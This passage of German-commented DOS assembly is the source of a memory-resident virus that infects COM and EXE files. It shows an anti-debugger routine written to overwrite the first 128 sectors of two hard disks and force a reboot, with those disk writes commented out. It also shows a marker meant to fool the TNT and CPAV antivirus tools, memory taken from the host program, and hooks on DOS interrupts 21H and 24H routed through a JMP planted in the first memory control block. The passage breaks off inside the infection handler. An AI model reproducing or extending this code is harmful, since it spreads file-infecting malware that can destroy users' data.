TNT_WORD EQU "sM" ;ÄÄ> TNT- und CPAV-Immun-Kenn-Bytes ("Ms"Dos).
|
||||
ID_WORD EQU "Vi" ;ÄÄ> Kenn-Bytes des "Vi"rus.
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º PUSHALL: Regs auf dem Stack sichern: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
PUSHALL MACRO ;Alle REGs auf dem STACK sichern
|
||||
|
||||
PUSHF
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
|
||||
ENDM
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º POPALL: Reg vom Stack holen, gepushten Regs restaurieren º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
POPALL MACRO ;Alle REGs vom STACK zur�ckholen
|
||||
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP ES
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
|
||||
ENDM
|
||||
|
||||
;==============================================================================
|
||||
|
||||
CODE SEGMENT PARA 'CODE'
|
||||
|
||||
ASSUME CS:CODE, DS:CODE, ES:CODE
|
||||
|
||||
ORG 100H
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Infiziertes Host-(Vor-)programm º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
START: JMP VIRUS ;Sprung zum Virus
|
||||
NOP ;Mach die 3 BYTES voll
|
||||
MOV AX,4C00H ;...dann das
|
||||
INT 21H ;Prog beenden!
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Start des Virus-Codes: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ OFFSET des Virus feststellen, SEGMENT-Register setzen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
VIRUS: CALL IP_TEST ;IP herausfinden, jetzt auf dem STACK!
|
||||
IP_TEST: POP BP ;jetzt IP in <BP>
|
||||
SUB BP,3 ;<BP> auf den Anfang des Virus...
|
||||
|
||||
PUSH DS ;<DS> sichern (und somit auch <ES> !!!)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Debugger-Test: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
XOR AX,AX ;<DS> auf...
|
||||
MOV DS,AX ;...NULL setzen
|
||||
LES BX,DS:[4] ;<DS> und <BX> mit Vektor von INT 1
|
||||
CMP BYTE PTR ES:[BX],0CFH ;Zeigt der Vektor auf einen IRET?
|
||||
JZ NO_BUG ;NEIN --> NO_BUG!
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Debugger ist gerade aktiv, tod der FAT, und dann nen Reset! ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV BYTE PTR ES:[BX],0CFH ;INT 1 erst mal auf nen IRET!
|
||||
MOV AX,0380H ;Ersten...
|
||||
MOV DX,0080H ;...128 Sektoren...
|
||||
MOV CX,0001H ;der Festplatte 1...
|
||||
;INT 13H ;...�berschreiben
|
||||
MOV AX,0381H ;Und die 2. Platte...
|
||||
;INT 13H ;...auch noch!
|
||||
|
||||
JMP DWORD PTR DS:[19H*4] ;JMP zur RESET-Routine (INT 19H) !
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ SEG-REGs + Flags setzen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
NO_BUG: PUSH CS ;<DS> und <ES> auf <CS> setzen:
|
||||
POP DS ;<-- (s.o.)
|
||||
PUSH CS ;<-- (s.o.)
|
||||
POP ES ;<-- (s.o.)
|
||||
|
||||
CLD ;Aufsteigend (Stringmanipulation)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ COM- oder EXE-Strategie: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CMP BYTE PTR CS:[OFFSET COMEXE-FAKTOR+BP],1 ;COM oder EXE zum beenden
|
||||
JZ EXE_STRT ;--> EXE-Konform starten
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ COM: Start-BYTES des Hostprogs restaurieren, r�cksprung setzen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV WORD PTR CS:[OFFSET HOST_SEG-FAKTOR+BP],CS ;SEG auf <CS>
|
||||
|
||||
MOV SI,OFFSET PUFFER-FAKTOR ;Quelle
|
||||
ADD SI,BP ;OFS anpassen
|
||||
MOV DI,100H ;Ziel
|
||||
MOV CX,3 ;3 Durchl„ufe
|
||||
REP MOVSB ;Kopieren!
|
||||
JMP TEST_VIR ;--> TEST_VIR
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ EXE: R�cksprung zum Host vorbereiten: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
EXE_STRT: MOV AX,CS ;Aktuelles <CS>
|
||||
EXE_SEG: SUB AX,0 ;R�cksprung vorbereiten (SEG)
|
||||
MOV CS:[HOST_SEG-FAKTOR],AX ;Differnez zw. Virus-<CS> und Host-<CS>
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ T E S T : Schon installiert? ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
TEST_VIR: MOV DX,ID_WORD ;ID_WORD in <DX>
|
||||
MOV AH,30H ;DOS Versionsnummer ermitteln
|
||||
INT 21H ;Pr�f-Int aufrufen
|
||||
INC DX ;Erh”hen...Installiert?
|
||||
JNZ MEM_TEST ;NEIN --> MEM_TEST
|
||||
F_ENDE: JMP ENDE ;JA --> ENDE
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Resident MACHEN des Virus º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
MEM_TEST: MOV AH,48H ;RAM-Speicher reservieren
|
||||
MOV BX,MEM_ALLOC ;Ben”tigte gr”áe...
|
||||
INT 21H ; --> O.K. ?... (dann SEG in <AX>)
|
||||
JNC ALLOC_OK ;JAAA --> MEM_ALLOC
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Vom HOST-Programm Speicher klauen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
POP AX ;<DS> vom STACK in <AX>
|
||||
PUSH AX ;<DS> wieder sichern
|
||||
DEC AX ;<ES> auf den MCB...
|
||||
MOV ES,AX ;...zeigen lassen
|
||||
MOV BX,WORD PTR ES:[MCB_SIZE] ;GrӇe des Speicher-Blocks ermitteln
|
||||
SUB BX,MEM_ALLOC+1 ;Speicher weniger MEM_ALLOC
|
||||
|
||||
POP ES ;<ES> wieder auf...
|
||||
PUSH ES ;...<DS> setzen und <DS> wieder sichern
|
||||
MOV AH,4AH ;Gr”áe eines Speicherbereiches „ndern
|
||||
INT 21H ;<BX>=neue GrӇe / <ES>=SEG des RAM-Blocks
|
||||
JC F_ENDE ;Geht nich --> ENDE
|
||||
|
||||
MOV AH,48H ;RAM-Speicher reservieren
|
||||
MOV BX,MEM_ALLOC ;Ben”tigte gr”áe...
|
||||
INT 21H ; --> O.K. ?... (dann SEG in <AX>)
|
||||
JC ENDE ;Schade --> ENDE
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ PSP-Eintrag (verf�gbarer Speicher) des Hosts aktualisieren: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
ALLOC_OK: SUB WORD PTR ES:[PSP_MEM],MEM_ALLOC+1 ;belegten Speicher minus Virus
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ SEG-Adr des reservierten Speichers in <ES> ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV ES,AX ;<ES> auf den reservierten Speicher-
|
||||
;bereich (Funktion 48H / INT 21H)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Virus in den SPEICHER kopieren: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV SI,BP ;Quelle, auf den Anfang des Virus! [DS:SI]
|
||||
XOR DI,DI ;Ziel (gerade reservierter MCB) [ES:DI]
|
||||
MOV CX,ANZBYTES ;ANZBYTES Durchl„ufe!
|
||||
REP MOVSB ;Kopieren!
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Speicher als belegt kennzeichnen, Owner (SEG-Adr des zugeh”rigen PSP): 8 ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
DEC AX ;<AX>=Reservierter Speicher, jetzt MCB
|
||||
MOV DS,AX ;<DS> zeigt auf MCB vom allocierten RAM
|
||||
MOV WORD PTR DS:[MCB_PSP],8 ;Speicher als belegt gekennzeichnet
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ AKTIV-Flag (Byte) auf NICHT AKTIV!!! ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV BYTE PTR ES:[OFFSET AKTIV-FAKTOR],0 ;Aktiv-FLAG auf Null!!!
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Vektoren umbiegen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
PUSH ES ;<DS> auf den neu reservierten...
|
||||
POP DS ;...Speicher setzen... (<ES>!!!)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Alten INT 13H merken: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AX,3513H ;Vektor von INT 21 lesen
|
||||
INT 21H
|
||||
MOV WORD PTR DS:[OFFSET ALT13-FAKTOR],BX ;Alten Vektor sichern
|
||||
MOV WORD PTR DS:[OFFSET ALT13-FAKTOR+2],ES ;(--> OFS und SEG)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ INT 21H umbiegen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;------------------------------------------------------------------------------
|
||||
; Aufruf von INT 21H ÄÄ> Vektor zeigt auf das 5.BYTE des ersten MCB ÄÄ> JMP
|
||||
; ÄÄ> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB
|
||||
;------------------------------------------------------------------------------
|
||||
MOV AH,52H ;DOS INFORMATION BLOCK (DIB) ermitteln
|
||||
INT 21H ;...undokumentiert
|
||||
MOV AX,ES ;<ES> in <AX>
|
||||
DEC AX ;<AX> verkleinern
|
||||
MOV ES,AX ;<ES> somit verkleinert!
|
||||
ADD BX,12 ;...OFS auf die Adr. des ersten MCB
|
||||
LES BX,ES:[BX] ;Adr. des ersten MCB in <ES>/<BX>
|
||||
|
||||
ADD BX,5 ;OFS auf das 1. ungenuzte BYTE im MCB
|
||||
MOV BYTE PTR ES:[BX],0EAH ;JMP setzen (Direct intersegment)
|
||||
MOV WORD PTR ES:[BX+1],OFFSET NEU21-FAKTOR ;OFS setzen
|
||||
MOV WORD PTR ES:[BX+3],DS ;SEG setzen!
|
||||
;------------------------------------------------------------------------------
|
||||
MOV DX,BX ;OFS vorbereiten f�r INT neu setzen
|
||||
PUSH ES ;SEG sichern (f�r INT neu setzen...)
|
||||
;------------------------------------------------------------------------------
|
||||
MOV AX,3521H ;Vektor von INT 21 lesen
|
||||
INT 21H
|
||||
MOV WORD PTR DS:[OFFSET ALT21-FAKTOR],BX ;Alten Vektor sichern
|
||||
MOV WORD PTR DS:[OFFSET ALT21-FAKTOR+2],ES ;(--> OFS und SEG)
|
||||
|
||||
MOV AX,2521H ;INT 21H neu setzen
|
||||
POP DS ;SEG des MCB in <DS>
|
||||
INT 21H ;OFS in <DX> (siehe oben ÄÙ)
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; <ES> und <DS> restaurieren:
|
||||
;------------------------------------------------------------------------------
|
||||
ENDE: POP DS ;<DS> und <ES> restaurieren
|
||||
PUSH DS ;<--- (s.o.)
|
||||
POP ES ;<--- (s.o.)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Virus beenden (COM oder EXE..? s.o...): ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
DB 0EAH ;Direct Intersegment Jmp...
|
||||
HOST_OFS DW 0100H ;OFS-ADR f�r den R�cksprung zum Host
|
||||
HOST_SEG DW ? ;SEG-ADR f�r den R�cksprung zum Host
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Neuer INT 24H (Critical Error) Handler: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
NEU24 PROC FAR ;Kritischer Fehler
|
||||
|
||||
MOV AL,3 ;Aktuelle Funktion abbrechen...
|
||||
IRET ;Zur�ck zur fehlerhaften Funktion.
|
||||
|
||||
NEU24 ENDP
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Neuer INT 21H (Dos-Calls) Handler; º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
NEU21 PROC FAR ;DOS-INT
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Schon installiert ? Test �ber Versionsnummer, bei Erfolg: <DX> = 0FFFFH ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CMP AH,30H ;DOS Versionsnummer ermitteln ?
|
||||
JNZ VIR_21 ;NEIN --> VIR_21
|
||||
CMP DX,ID_WORD ;<DX> gleich ID_WORD?
|
||||
JNZ VIR_21 ;NEIN --> VIR_21
|
||||
MOV DX,0FFFFH ;Pr�fbyte in <DX> zur�ckliefern...
|
||||
|
||||
IRET ;Virus schon drin --> INT beenden
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Virus laufen lassen... ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
VIR_21: PUSHALL ;Register sichern
|
||||
CMP BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus schon AKTIV ?
|
||||
JNZ END21 ;JA (Schon aktiv !) --> END21
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Trigger testen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
